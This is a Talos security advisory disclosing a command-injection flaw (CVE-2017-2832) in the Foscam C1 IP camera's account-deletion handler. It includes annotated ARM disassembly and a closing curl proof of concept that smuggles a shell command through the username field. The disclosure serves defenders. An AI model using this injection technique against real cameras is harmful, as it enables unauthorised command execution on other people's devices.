Talos Vulnerability Report

TALOS-2017-0335

Foscam IP Video Camera CGIProxy.fcgi Account Deletion Command Injection Vulnerability

June 19, 2017
CVE Number

CVE-2017-2832

Summary

An exploitable command injection vulnerability exists in the web management interface used by the Foscam C1 Indoor HD Camera running application firmware 2.52.2.37. A specially crafted HTTP request can allow for a user to inject arbitrary shell characters during a password change resulting in command injection. An attacker can simply send an HTTP request to the device to trigger this vulnerability.

Tested Versions

Foscam, Inc. Indoor IP Camera C1 Series

System Firmware Version: 1.9.3.17
Application Firmware Version: 2.52.2.37
Web Version: 2.0.1.1
Plug-In Version: 3.3.0.5

Product URLs

Foscam

CVSSv3 Score

8.8 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Details

Foscam produces a series of IP-capable surveillance devices, network video recorders, and baby monitors for the end-user. Foscam produces a range of cameras for both indoor and outdoor use and with wireless capability. One of these models is the C1 series which contains a web-based user interface for management and is based on the ARM architecture. Foscam is considered one of the most common security cameras out on the current market.

When various services are started, a service will first register a callback using the CMsgClient::registerMsgHandle function [1]. This will register a function to be called [2] when another service dispatches a message of the specified code [3]. An example of this registration process is handled inside the FCGI_Init function of the "CGIProxy.fcgi" service using the following code:

.text:00009F20                       FCGX_Init_1f20
.text:00009F20
.text:00009F20 F0 41 2D E9                       STMFD   SP!, {R4-R8,LR}
.text:00009F24 41 DE 4D E2                       SUB     SP, SP, #0x410
.text:00009F28 08 D0 4D E2                       SUB     SP, SP, #8
.text:00009F2C 05 FC FF EB                       BL      FCGX_Init
.text:00009F2C
.text:00009F30 00 10 50 E2                       SUBS    R1, R0, #0
.text:00009F34 44 01 9F 15                       LDRNE   R0, =str.FCGX_Initfailed
.text:00009F38 05 00 00 1A                       BNE     leave_exit_1f54
.text:00009F3C
.text:00009F3C 40 01 9F E5                       LDR     R0, =gv_theRequest_10b74
.text:00009F40 01 20 A0 E1                       MOV     R2, R1
.text:00009F44 1A FC FF EB                       BL      FCGX_InitRequest
.text:00009F48
.text:00009F48 00 00 50 E3                       CMP     R0, #0
.text:00009F4C 03 00 00 0A                       BEQ     loc_9F60
...
.text:00009F60                       loc_9F60
.text:00009F60 DB FE FF EB                       BL      registerMsgClients_1ad4

.text:00009AD4                       registerMsgClients_1ad4
.text:00009AD4 10 40 2D E9                       STMFD   SP!, {R4,LR}
.text:00009AD4
.text:00009AD8 30 40 9F E5                       LDR     R4, =gp_cMsgClient_bac8
.text:00009ADC 30 10 9F E5                       LDR     R1, =0x40004001                                                ; [3] code
.text:00009AE0 04 00 A0 E1                       MOV     R0, R4
.text:00009AE4 2C 20 9F E5                       LDR     R2, =CgiProxySnapPicHandler_1e38                               ; [2] callback function
.text:00009AE8 3D FD FF EB                       BL      CMsgClient::registerMsgHandle(int,void (*)(char const*,int))   ; [1]
.text:00009AE8
.text:00009AEC 04 00 A0 E1                       MOV     R0, R4
.text:00009AF0 24 10 9F E5                       LDR     R1, =0x3001
.text:00009AF4 1C 20 9F E5                       LDR     R2, =CgiProxySnapPicHandler_1e38
.text:00009AF8 39 FD FF EB                       BL      CMsgClient::registerMsgHandle(int,void (*)(char const*,int))
.text:00009AF8
.text:00009AFC 04 00 A0 E1                       MOV     R0, R4
.text:00009B00 18 10 9F E5                       LDR     R1, =0x3002
.text:00009B04 0C 20 9F E5                       LDR     R2, =CgiProxySnapPicHandler_1e38
.text:00009B08 10 40 BD E8                       LDMFD   SP!, {R4,LR}
.text:00009B0C 34 FD FF EA                       B       CMsgClient::registerMsgHandle(int,void (*)(char const*,int))

After the "CGIProxy.fcgi" service decodes an http request that's forwarded from the http daemon, the service will copy the decoded query into a buffer on the stack [4]. Once this is done, the buffer will then be used to pass the decoded query to CMsgClient::sendMsg. This will dispatch the query to the shared messaging subsystem using the code 0x4001 at [5]. At this point, the service that handles the specified code will be woken up to handle the specified request.

.text:00009FA8 14 70 8D E2                       ADD     R7, SP, #0x430+lv_dest_41c
.text:00009FAC 08 10 A0 E1                       MOV     R1, R8
.text:00009FB0 07 00 A0 E1                       MOV     R0, R7
.text:00009FB4 34 FC FF EB                       BL      strcpy                     ; [4]
.text:00009FB8
.text:00009FB8 08 00 A0 E1                       MOV     R0, R8
.text:00009FBC C0 FB FF EB                       BL      strlen
.text:00009FC0
.text:00009FC0 CC 30 9F E5                       LDR     R3, =0x404
.text:00009FC4 00 30 8D E5                       STR     R3, [SP]
.text:00009FC8 C8 10 9F E5                       LDR     R1, =0x4001                ; [5]
.text:00009FCC 07 30 A0 E1                       MOV     R3, R7                     ; uri request
.text:00009FD0 01 20 A0 E3                       MOV     R2, #1
.text:00009FD4 04 40 8D E5                       STR     R4, [SP,#4]
.text:00009FD8 08 40 8D E5                       STR     R4, [SP,#8]
.text:00009FDC 0C 40 8D E5                       STR     R4, [SP,#12]
.text:00009FE0 14 04 8D E5                       STR     R0, [SP,#0x430+var_1C]
.text:00009FE4 B0 00 9F E5                       LDR     R0, =gp_cMsgClient_bac8
.text:00009FE8 CD FB FF EB                       BL      CMsgClient::sendMsg(int,char,char const*,int,int,int,char *)

The handler for code 0x4001 is in the "webService" binary and is done by the function executeCGICmd at address 0x1e5a4. At the beginning of this function, the service will call a function [6] that's responsible for extracting the user name, password, and command that was specified within the user's query. Once the parameters have been extracted and copied into a local buffer on the stack, the command will be passed to the function call at [7] in order to determine the correct command function which is stored to funcptr. If authentication is not required for the command, then the branch at [8] will execute the function pointer returned by findJsonCallbackCommand at [7]. If authentication is required from the command, then the user name and password will be checked via strcmp and then the function call at [9] will execute the function pointer.

.text:0001E5A4                       executeCGICmd
.text:0001E5A4
.text:0001E5A4 F0 41 2D E9                       STMFD   SP!, {R4-R8,LR}
.text:0001E5A8 28 60 80 E2                       ADD     R6, R0, #0x28
.text:0001E5AC 11 DD 4D E2                       SUB     SP, SP, #0x440
.text:0001E5B0 00 80 A0 E1                       MOV     R8, R0
.text:0001E5B4 06 10 A0 E1                       MOV     R1, R6
.text:0001E5B8 C4 00 9F E5                       LDR     R0, =unk_D5A68
.text:0001E5BC 3A 2A 00 EB                       BL      sub_28EAC                          ; [6]

.text:00028EAC                       sub_28EAC
.text:00028EAC
.text:00028EAC F0 47 2D E9                       STMFD   SP!, {R4-R10,LR}
.text:00028EB0 00 40 51 E2                       SUBS    R4, R1, #0
.text:00028EB4 00 80 A0 E1                       MOV     R8, R0
.text:00028EB8 46 DF 4D E2                       SUB     SP, SP, #0x118
.text:00028EBC 00 00 E0 03                       MOVEQ   R0, #0xFFFFFFFF
.text:00028EC0 8B 00 00 0A                       BEQ     leaving_290F4
...
.text:00028F4C 00 00 50 E3                       CMP     R0, #0
.text:00028F50 0C 00 00 1A                       BNE     findCmdCallback_28F88
...
.text:00028F88                       findCmdCallback_28F88
.text:00028F88 05 00 A0 E1                       MOV     R0, R5
.text:00028F8C 45 1F 8D E2                       ADD     R1, SP, #0x138+lp_funcptr?_24
.text:00028F90 89 FC FF EB                       BL      findJsonCallbackCommand_281BC      ; [7]
.text:00028F94 00 90 50 E2                       SUBS    R9, R0, #0
.text:00028F98 06 00 00 0A                       BEQ     checkIfAuthNeeded_28FB8
...
.text:00028FB8                       checkIfAuthNeeded_28FB8
.text:00028FB8 14 31 9D E5                       LDR     R3, [SP,#0x138+lp_funcptr?_24]
.text:00028FBC 54 21 9F E5                       LDR     R2, =0xFFFF
.text:00028FC0 08 10 93 E5                       LDR     R1, [R3,#8]
.text:00028FC4 02 00 51 E1                       CMP     R1, R2
.text:00028FC8 06 00 00 1A                       BNE     authenticate_28FE8
...
.text:00028FD8 04 00 A0 E1                       MOV     R0, R4
.text:00028FDC 33 FF 2F E1                       BLX     R3                                 ; [8]
.text:00028FE0 09 00 A0 E1                       MOV     R0, R9
.text:00028FE4 42 00 00 EA                       B       leaving_290F4
...
.text:000290E0 04 00 A0 E1                       MOV     R0, R4
.text:000290E4 33 FF 2F E1                       BLX     R3                                 ; [9]
.text:000290E8 05 00 A0 E1                       MOV     R0, R5
.text:000290EC 00 00 00 EA                       B       leaving_290F4
...
.text:000290F4 46 DF 8D E2                       ADD     SP, SP, #0x118
.text:000290F8 F0 87 BD E8                       LDMFD   SP!, {R4-R10,PC}

When handling the "CGIProxy.fcgi" command "delAccount", the function sub_39ae4 will be called. This function is responsible for deleting a user account both from the users database and from FTP database if the account to be deleted has privilege 2. At the beginning of the function, the parameters for "usrName" [10] and "callbackJson" [11] are extracted from the query. Afterwards, the "usrName" parameter will be passed as an argument to the function call at [12].

.text:00041AE4                       sub_39ae4
.text:00041AE4
.text:00041AE4 F0 41 2D E9                       STMFD   SP!, {R4-R8,LR}
.text:00041AE8 5D 30 A0 E3                       MOV     R3, #0x5D
.text:00041AEC 46 DE 4D E2                       SUB     SP, SP, #0x460
...
.text:00041B1C 48 11 9F E5                       LDR     R1, =str.usrName
.text:00041B20 05 20 A0 E1                       MOV     R2, R5
.text:00041B24 46 7E 8D E2                       ADD     R7, SP, #0x478+var_18
.text:00041B28 06 00 A0 E1                       MOV     R0, R6
.text:00041B2C C5 99 FF EB                       BL      extract_param                      ; [10]
...
.text:00041B34 06 00 A0 E1                       MOV     R0, R6
.text:00041B38 30 11 9F E5                       LDR     R1, =str.callbackJson
.text:00041B3C 07 20 A0 E1                       MOV     R2, R7
.text:00041B40 C0 99 FF EB                       BL      extract_param                      ; [11]
...
.text:00041B60 05 10 A0 E1                       MOV     R1, R5
.text:00041B64 78 8C FF EB                       BL      sub_1cd4c                          ; [12]

The function sub_1cd4c is responsible for doing a few comparisons and then making a call to system which deletes the FTP account. First, it verifies that the account name that was provided as an argument already exists and that the privilege for that account is 2 [13]. If so, the service will build a format string using "sh /usr/bin/ftpd/configFTP.sh 2 %s" and the username [14]. The resulting string will be executed by the system call at [15]. Due to the service not enforcing any restrictions on the character set, this can allow an attacker to inject arbitrary characters that may be interpreted by the Bourne shell which can allow for one to execute arbitrary commands.

.text:00024D4C                       sub_1cd4c
.text:00024D4C
.text:00024D4C F0 45 2D E9                       STMFD   SP!, {R4-R8,R10,LR}
.text:00024D50 00 60 51 E2                       SUBS    R6, R1, #0
.text:00024D54 00 50 A0 E1                       MOV     R5, R0
.text:00024D58 74 D0 4D E2                       SUB     SP, SP, #0x74
...
.text:00024E38 02 00 58 E3                       CMP     R8, #2                             ; [13]
.text:00024E3C 0D 00 00 1A                       BNE     loc_24E78
...
.text:00024E54 64 10 A0 E3                       MOV     R1, #0x64
.text:00024E58 30 20 9F E5                       LDR     R2, =str.sh_usr_bin_ftpd_configFTP_sh2s ; "sh /usr/bin/ftpd/configFTP.sh 2 %s"
.text:00024E5C 06 30 A0 E1                       MOV     R3, R6
.text:00024E60 05 00 A0 E1                       MOV     R0, R5
.text:00024E64 9F B6 FF EB                       BL      snprintf                           ; [14]
.text:00024E68 05 00 A0 E1                       MOV     R0, R5
.text:00024E6C B6 B5 FF EB                       BL      system                             ; [15]

Exploit Proof-of-Concept

This vulnerability is reachable by the "delAccount" command and requires a valid user account with administrator privileges. The following proof of concept shows how to use "addAccount" to add a user with the command injection payload in the username field, and afterwards trigger the vulnerability deleting the same account:

```
$ sUsr="admin"
$ sPwd=""
$ sNewUsr=`perl -MURI::Escape -e 'print uri_escape(";echo y>/tmp/www/injected.txt;")'`
$ sNewPwd="newpwd"
$ curl "http://$SERVER/cgi-bin/CGIProxy.fcgi?usr=${sUsr}&pwd=${sPwd}&cmd=addAccount&usrName=${sNewUsr}&usrPwd=${sNewPwd}&privilege=2"
$ curl "http://$SERVER/cgi-bin/CGIProxy.fcgi?usr=${sUsr}&pwd=${sPwd}&cmd=delAccount&usrName=${sNewUsr}"
```

Timeline

2017-05-08 - Vendor Disclosure
2017-06-19 - Public Release

Credit

Discovered by Claudio Bozzato and another member of Cisco Talos